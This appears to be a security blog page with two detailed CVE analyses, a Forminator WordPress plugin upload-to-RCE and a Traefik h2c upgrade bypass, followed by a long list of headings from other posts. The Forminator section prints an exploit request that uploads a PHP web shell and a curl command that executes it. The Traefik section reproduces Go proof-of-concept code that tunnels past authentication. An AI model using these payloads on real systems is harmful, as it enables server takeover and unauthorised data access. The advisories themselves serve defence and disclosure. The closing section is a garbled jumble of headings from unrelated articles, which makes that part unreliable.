CVSS 3.1	9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type	CWE-434 (Unrestricted Upload of File with Dangerous Type)
Authentication required	None
Reported by	daroo, via the Wordfence Bug Bounty Program
Install base	Installed on more than 600,000 WordPress sites
Precondition	The targeted form must contain both a File Upload field and a Select field

Forminator Forms is a form builder plugin for WordPress that handles contact forms, payment forms, and custom forms. Any form accepting file attachments needs logic that stops dangerous files from being uploaded, and Forminator has exactly that — a dangerous-extension blocklist inside handle_file_upload(). This CVE, though, isn't a single flaw. It's a case where two separate weak points happened to line up and together produced RCE.

The first is that the setting determining which file types an upload field accepts gets trusted from the request itself, rather than from the form definition saved on the server. The second is that the blocklist check meant to filter out dangerous extensions compares MIME type strings using exact key matching, with no normalization. Combine the two, and an attacker can inject a forged configuration through a completely different field (Select) to redefine what the upload field accepts, then slip a .php file past the blocklist check with nothing more than a single pipe (|) character.

Where the flaw lives — who decides an upload field's "allowed types"

Forminator form submissions go through an admin-ajax.php action that's callable without authentication. In the correct flow, which extensions/MIME types an upload field accepts should be a value the admin configured when building the form, stored on the server (in the database), and the uploaded file should be checked against that stored value at submission time.

// reconstructed from the public advisory — conceptual submission flow
public function handle_file_upload($field, $file, $request_data) {
    $allowed_types = $this->get_field_settings($field_id);   // this is supposed to be the SAVED setting
    ...
}

Step-by-step source analysis

Step 1 — the public submission handler trusts field config straight from the request

According to Wordfence's public advisory, that's exactly where the problem sits. The public submission handler builds the upload field's configuration from a value included in the request, rather than from what's stored on the server — and that value can be injected through a field that looks completely unrelated, like a Select field.

// reconstructed from the public advisory — config merge step before handle_file_upload()
$field_settings = $this->get_field_settings_from_request($_POST);
// embed a structure that looks like an "upload field config" inside the select-1 value,
// and the server accepts it as-is, instead of the admin's actual setting

This step alone is already serious. Even if an admin configured an upload field to "only allow jpg, png," an attacker sending a crafted value through the Select field can redefine, at request time, which extensions that form actually accepts.

Step 2 — the last line of defense left: the dangerous-extension blocklist

Even if the allowed types can be redefined arbitrarily, handle_file_upload() still has one more check: a separate blocklist filtering out dangerous, server-executable extensions and MIME types like .php or .phtml. This check is where the second flaw lives.

// reconstructed from the public advisory
$dangerous_mime_types = [
    'application/x-php'      => true,
    'application/x-httpd-php' => true,
    // ...
];

if (isset($dangerous_mime_types[$mime_key])) {
    return new WP_Error('dangerous_file_type', ...);
}

This code only flags something as dangerous when $mime_key is literally identical to one of the blocklist's keys. In Wordfence's own words, this logic is bypassed by "pipe-alternative MIME type keys."

Normal request's mime_key:    "application/x-php"       → $dangerous_mime_types[...] exists → blocked
Crafted request's mime_key:   "application/x-php|"      → $dangerous_mime_types[...] doesn't exist → isset() = false → allowed

Appending a single | to the MIME type string is enough to make isset() conclude "no such key exists." The blocklist's actual intent — stopping files with dangerous MIME types — goes unenforced, because an implementation that only checks for exact string equality becomes a bypass in its own right.

Step 3 — combine both flaws: a PHP file with attacker-chosen name and content lands on disk

Putting the two flaws together, an attacker can:

Embed a forged "upload field config" inside the Select field value, overriding the server's trusted allowed-type list entirely.
Even if a blocklist check remains, slip past it by appending | to the MIME type key.
Fully control both the filename and the content.

POST /wp-admin/admin-ajax.php
action=forminator_submit_form_custom-forms-5
file-upload-1[name]=shell.php
file-upload-1[content]=<?php system($_GET['cmd']); ?>
select-1=<encoded value carrying the forged upload-field config>

If this request is processed normally, a PHP file named shell.php, with exactly the content the attacker chose, gets created in the upload directory.

Step 4 — the default directory has `.htaccess` protection; Custom Upload Storage doesn't

That's not the whole story, either. By default, Forminator's upload directory is protected by a .htaccess file that blocks PHP execution — so even if a .php file gets uploaded, the web server often just returns it as plain text rather than executing it. But when an admin configures a separate "Custom File Upload Storage root," that protection disappears.

Here's how Wordfence describes it: that .htaccess file is created "when first needed" — specifically, during the processing of a frontend (unauthenticated) submission request. But the WordPress helper function responsible for writing .htaccess isn't loaded on that frontend request path at all. As a result, files accumulate in the custom upload path with no PHP-execution safeguard ever having been created.

curl "http://target/wp-content/uploads/forminator-custom/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

Simply requesting the uploaded file by URL is enough for the server to execute it as PHP. No authentication, no special privileges, no trick on a second request — nothing.

The patch — let the server own the config, and normalize before comparing

Forminator 1.56.2 fixed this structurally. An upload field's allowed file types are no longer built from values carried in the request at all — only the form configuration stored on the server is trusted. The dangerous-extension/MIME-type blocklist comparison was also changed from a plain key match to a comparison against normalized input, so appending a delimiter like | no longer bypasses it.

Two lessons come out of this. First, the assumption that "this value must already be a server-trusted setting" can be broken from almost any position in a request. If a configuration value can be injected through a field that looks entirely unrelated to the thing it configures — here, a Select field redefining an upload field's accepted types — the validation built around that setting means nothing. Second, a blocklist or allowlist comparison that checks "is this string exactly equal" without normalizing the input first will always have room for an attacker to construct a variant that means the same thing semantically while differing just enough in the raw string to slip through.

Remediation

Update Forminator Forms to 1.56.2 or later immediately.
Check whether any of your forms combine a File Upload field with a Select field, and if an immediate update isn't possible, consider temporarily disabling the file upload field on those forms.
If you're using a "Custom File Upload Storage root," verify directly — independent of the plugin's own settings — that web-server-level protection against PHP execution (an Nginx location rule, an Apache .htaccess directive) actually applies to that directory.
If exposure is possible, check both the default and custom upload directories for unfamiliar .php/.phtml files, and review access logs for forminator_submit_form_* requests to admin-ajax.php carrying unusually large select parameter values.

CVE-2026-88008 Explained: One "101 Switching Protocols" Erases Every Middleware Traefik Has

GUIDANCE WHITE — Fri, 16 Oct 2026 02:08:01 +0000

Overview

Item	Detail
CVE ID	CVE-2026-88008
Affected product	Traefik (open-source reverse proxy and load balancer)
Affected versions	2.11.26 through 2.11.56, 3.4.2 through 3.7.12
Fixed in	2.11.57, 3.7.13
CVSS	7.0 (High, CVSS v4.0) — some advisories also cite 9.1 under CVSS 3.1
Type	CWE-444 (Inconsistent Interpretation of HTTP Requests / HTTP Smuggling), CWE-863 (Incorrect Authorization)
Authentication required	None
Reported by	ihopenre-eng, via Traefik's GitHub Security Advisory (GHSA-w4v4-9rw7-5326), disclosed 2026-09-07
Precondition	An attacker-reachable "unprotected router" and a "protected router" must share the same backend, and that backend must respond with 101 to an `Upgrade: h2c` request

Traefik's model is simple: a router decides which backend a request goes to, and the middleware attached to that router — BasicAuth, ForwardAuth, IPAllowList, RateLimit, and the like — handles authentication and authorization. For this model to actually be secure, one assumption has to hold without exception: every request has to pass through the router and its middleware, no detours.

CVE-2026-88008 is exactly where that assumption breaks. Since Go 1.24, Traefik supports unencrypted HTTP/2 with prior knowledge (h2c), and that created a path where a client-supplied Connection: Upgrade and Upgrade: h2c header gets forwarded to the backend with no validation at all. If the backend accepts that upgrade request and responds with 101 Switching Protocols, Traefik stops interpreting the connection as HTTP requests entirely and switches it into a raw tunnel that just copies bytes between the client and the backend. The problem is that routing and middleware selection only happen for the first HTTP/1 request. Once the tunnel opens, every HTTP/2 request that flows through it afterward completely skips Traefik's router and middleware chain.

The upshot: an attacker only needs to open an h2c tunnel through a completely unauthenticated public path (/public) to reach a BasicAuth-protected path (/admin) on the same backend — with zero credentials.

Where the flaw lives — four points the Upgrade header passes through

The GitHub security advisory identifies four places in the code involved in this flow, based on the default proxy implementation, pkg/proxy/httputil.

┌───────────────┐   GET /public              ┌──────────┐
│               │   Connection: Upgrade       │          │
│    Attacker   │──Upgrade: h2c──────────────▶│ Traefik  │
│               │                              │          │
└───────────────┘                              └────┬─────┘
                                                      │ r-public (no auth)
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │
                                                 └────┬─────┘
                                                      │ 101 Switching Protocols
                                                      ▼
                                              [ raw byte tunnel ]
                                                      │
                                                      │ HTTP/2 GET /admin
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │──▶ /admin (BasicAuth never applied)
                                                 └──────────┘

Step-by-step source analysis

Step 1 — there's no allowlist on the `Upgrade` header

removeConnectionHeaders() in pkg/middlewares/forwardedheaders/forwarded_header.go (around lines 198–234) cleans up the hop-by-hop headers listed in a Connection header. But when Connection: Upgrade is present, the Upgrade header itself is treated as something to preserve, not something to strip. The problem: nothing here checks whether that Upgrade value is websocket, h2c, or any arbitrary token an attacker made up.

// pkg/middlewares/forwardedheaders/forwarded_header.go (removeConnectionHeaders, ~198-234)
// when Connection: Upgrade is present, the Upgrade header is preserved and passed on unchanged
// — there's no check for whether the token is "websocket"

Step 2 — WebSocket handling is "special treatment," not an allowlist

isWebSocketUpgrade() in pkg/proxy/httputil/proxy.go (around line 170) applies cleanWebSocketHeaders() specifically to WebSocket upgrade requests. At first glance this looks like logic that "allows WebSocket and blocks everything else," but in practice it only adds extra handling for WebSocket — there's no code anywhere that rejects other upgrade tokens, h2c included. If isWebSocketUpgrade() returns false, the request simply continues on as an ordinary upgrade request.

Step 3 — `smart_roundtripper` forwards the upgrade request to the backend over HTTP/1

RoundTrip() in pkg/server/service/smart_roundtripper.go (around line 56) sends a request containing Connection: Upgrade to the backend over HTTP/1. Up to this point, all that's happened is "the request got forwarded" — the actual security boundary collapses in the next step.

Step 4 — a `101 Switching Protocols` response erases the routing/middleware layer entirely (the root cause)

Traefik's default proxy uses the standard library's net/http/httputil.ReverseProxy. When the backend responds with 101 Switching Protocols, ReverseProxy switches that connection into a tunnel mode that just copies bytes between client and backend. On its own, this is standard behavior meant to support proxying WebSocket — nothing wrong with it in isolation.

The actual problem is that Traefik's router and middleware selection happen only for that one initial HTTP/1 request. Once the 101 response opens the tunnel, Traefik no longer treats that connection as "a flow of HTTP requests it needs to interpret." So when a new HTTP/2 stream (i.e., a brand-new HTTP request) arrives over that tunnel, it is never routed from scratch, and no middleware ever touches it.

// Core of the PoC attacker code (published as GHSA-w4v4-9rw7-5326)
raw, _ := net.Dial("tcp", front)
raw.Write([]byte(
    "GET /public HTTP/1.1\r\n" +
        "Host: x\r\n" +
        "Connection: Upgrade, HTTP2-Settings\r\n" +
        "Upgrade: h2c\r\n" +
        "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
        "\r\n",
))
// ... after receiving the 101, an HTTP/2 client is built on top of the SAME raw socket
cc, _ := (&http2.Transport{}).NewClientConn(raw)
req, _ := http.NewRequest("GET", "http://x/admin", nil)
r2, _ := cc.RoundTrip(req)   // /admin never passes through the r-admin router at all

The key point: the attacker never sends a request to /admin directly. They turn the connection established through the unauthenticated /public router into a tunnel, and then, over that tunnel — the same already-open TCP connection — they issue a brand-new HTTP/2 request that reaches /admin. As far as Traefik is concerned, it processed exactly one /public request; whatever flows over that same connection afterward is invisible to it.

What the published PoC actually demonstrated

With Traefik configured so that /public (no auth) and /admin (BasicAuth) both route to the same backend, the researcher's published PoC produced:

[1] Direct GET /admin (no creds)      -> 401 Unauthorized
[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel     -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"

/admin, which returns 401 when requested directly, returns 200 with the protected data once reached through the h2c tunnel. BasicAuth, ForwardAuth, IPAllowList, RateLimit — every middleware attached to that router — gets bypassed, and requests sent through the tunnel don't show up as individual requests in Traefik's normal access logs, metrics, or tracing.

Why this is different from operator-configured h2c support

Traefik already lets operators explicitly enable h2c backend communication through the h2c:// service scheme or the transportH2C setting. This vulnerability is unrelated to that feature. Here, the upgrade is initiated by the client, not the operator, and Traefik forwards it regardless of whether h2c is configured for that backend at all. In other words, even a completely ordinary HTTP/1 backend that the operator never intended to speak h2c can be affected, as long as its implementation happens to accept Upgrade: h2c and answer with 101.

Not every backend is vulnerable, though. Recent golang.org/x/net/http2/h2c implementations no longer support the HTTP/1.1 upgrade mechanism at all, so a current Go-based h2c server using that implementation isn't exposed through this path. Older implementations, non-Go servers, custom h2c handlers, and some gRPC-adjacent stacks, however, may still accept the upgrade.

The patch — stop forwarding the Upgrade token unchecked

Traefik 2.11.57 and 3.7.13 stop forwarding the Upgrade: h2c token and its accompanying HTTP2-Settings header to the backend. Upgrade: websocket is unaffected and continues to work as before.

The principle here is clear. For any component that has to guarantee requests pass through a specific layer — routing, authentication — before reaching their destination, protocol-switching mechanisms that can bypass that layer (Upgrade, CONNECT, and similar) need to be restricted to an explicit allowlist. The key lesson of this case is that "we added special handling for WebSocket" does not mean "anything that isn't WebSocket gets rejected." And any code that handles a response like 101 Switching Protocols — one that fundamentally redefines what the connection even is — needs to re-verify that its security layer still applies after that transition, not just before it.

Remediation

Update Traefik to 2.11.57 or 3.7.13 or later immediately. (The 3.4.2–3.6 branches are end-of-life, so migrate to 3.7.13.)
If an immediate update isn't possible, separating services so that protected and public paths never share the same backend is a workable interim mitigation — if they're different backends, an opened tunnel still can't reach the protected path.
Check directly whether your backend actually accepts Upgrade: h2c and responds with 101 — if it doesn't, this precondition doesn't hold for your environment.
Even after patching, requests sent through the tunnel never appeared as individual entries in normal access logs, so confirming whether this was exploited during a past exposure window can't rely on access logs alone. Cross-check backend-side logs (where available) and look for unusual long-lived connections or upgrade-request patterns.

DEV Community: GUIDANCE WHITE

[CVE-2026-123158] *sshole : How Two Unrelated '*' Strings Broke OpenSSH on musl

TL;DR

The core idea: two unrelated "*" strings turn out to be equal

Reading the source

Step 1 — How sshd checks a password without PAM

Step 2 — Borrowing a salt from another account

Step 3 — musl crypt()'s 256-byte cap

Step 4 — Where the two "*" meet

The full attack flow

Conditions required

The fix: OpenSSH 10.6p2

Checking for exposure

Remediation

CVE-2026-115560 Explained: How a PHP Session Serializer Mismatch Turns Into RCE

TL;DR

Background in 3 minutes

1. Session serialize handlers

2. Session upload progress

3. Why unserialize() is dangerous

The three conditions

Source-level walkthrough (simplified)

Same data, different formats

The writer: progress is recorded before your script runs

The reader: your app flips the handler

Why "stale global state" and "different requests" matter

Full attack flow

Why unserialize ≠ automatic RCE

What the community patch does (and doesn't)

What you should do

1. Turn the feature off

2. Check whether you're even exposed

3. Longer term

CVE-2026-68582: How a Share Link Lets You Read Someone Else's Kanban Board (Vikunja BOLA)

TL;DR

Background: share links and kanban views

The idea in one analogy

Source code walkthrough

Step 1: the view is read straight from the URL

Step 2: the link-share branch never re-validates the view

Step 3: the foreign view's buckets are queried as-is

Why the normal path was safe

Why task contents don't leak

Attack flow

Reproducing it

Impact

Why the score differs by source

The fix

What to do

Takeaway: two inputs, two authorization checks

[CVE-2026-111497] Node2Shell: How Brotli's Counter Exhaustion Turned an Error Into an Arbitrary Write

At a glance

1. The core problem — an ERROR disguised as "need more input"

2. The streaming retry loop walks right past the boundary

3. Attack flow diagram

4. The second write — spilling past 8 bytes into decoder state

5. The 16-byte arbitrary write — memmove16 and ring-buffer wraparound

6. Callback hijacking — from free_func to system()

7. Why this isn't a remote blind RCE — yet

8. What the patch changes

9. Blast radius and mitigation

[CVE-2026-109618&CVE-2026-109619] No Login Required: Inside PHP2Shell, the 9.2-Severity Bug That Let Anyone Take Over Your Server

1. What is PHP2Shell?

2. What the two CVEs have in common: treating an interrupted operation as complete

CVE-2026-109618 — RCE via out-of-memory (OOM) corruption

CVE-2026-109619 — RCE via stale global state

3. Source code: the root cause behind CVE-2026-109618

Line-by-line breakdown

What happens when the request ends

4. How the attack actually plays out (conceptual overview)

How the patch fixes it

5. Timeline

6. Affected versions and fixes

7. How to respond

8. Detection signals

CVE-2026-103889: One Commented-Out Security Check Led to Fully Unauthenticated RCE (CVSS 9.8)

Overview

Where the flaw lives — generating a quote PDF

Step-by-step source analysis

Step 1 — Flaw #1: the only auth check was entirely wrapped in a comment

[CVE-2026-123158] sshole : How Two Unrelated '' Strings Broke OpenSSH on musl

3. Why `unserialize()` is dangerous

Step 2 — Flaw #2: the `xpv_image` value flows into the PDF template unvalidated and unescaped

Step 3 — the root cause: the table cache confuses `t` and `#mysql50#t` (CWE-706)

Covering Steps 2–3 — inject the malicious setting into `app.ini`

Step 2 — the flaw: the `uarg` is attached only to the "last" skb (before the fix)